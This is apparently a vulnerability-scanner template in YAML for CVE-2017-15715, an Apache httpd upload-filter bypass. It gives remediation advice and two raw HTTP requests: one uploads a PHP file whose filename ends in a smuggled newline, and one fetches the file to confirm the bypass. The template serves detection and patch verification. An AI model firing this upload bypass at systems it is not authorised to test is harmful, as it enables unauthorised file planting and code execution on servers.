58 lines
2.0 KiB
YAML
58 lines
2.0 KiB
YAML
id: CVE-2017-15715
|
|
|
|
info:
|
|
name: Apache httpd <=2.4.29 - Arbitrary File Upload
|
|
author: geeknik
|
|
severity: high
|
|
description: Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
|
|
remediation: |
|
|
Upgrade Apache httpd to a version higher than 2.4.29 or apply the necessary patches.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
|
|
- https://httpd.apache.org/security/vulnerabilities_24.html
|
|
- http://www.openwall.com/lists/oss-security/2018/03/24/6
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-15715
|
|
- http://www.securitytracker.com/id/1040570
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2017-15715
|
|
cwe-id: CWE-20
|
|
epss-score: 0.97023
|
|
epss-percentile: 0.99657
|
|
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: apache
|
|
product: http_server
|
|
tags: apache,httpd,fileupload,vulhub,cve,cve2017,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
|
|
|
|
------WebKitFormBoundaryKc8fBVDo558U4hbJ
|
|
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
|
|
|
|
{{randstr_1}}
|
|
|
|
------WebKitFormBoundaryKc8fBVDo558U4hbJ
|
|
Content-Disposition: form-data; name="name"
|
|
|
|
{{randstr}}.php\x0A
|
|
------WebKitFormBoundaryKc8fBVDo558U4hbJ--
|
|
- |
|
|
GET /{{randstr}}.php\x0A HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept-Encoding: gzip,deflate
|
|
Accept: */*
|
|
|
|
req-condition: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_2, "{{randstr_1}}")'
|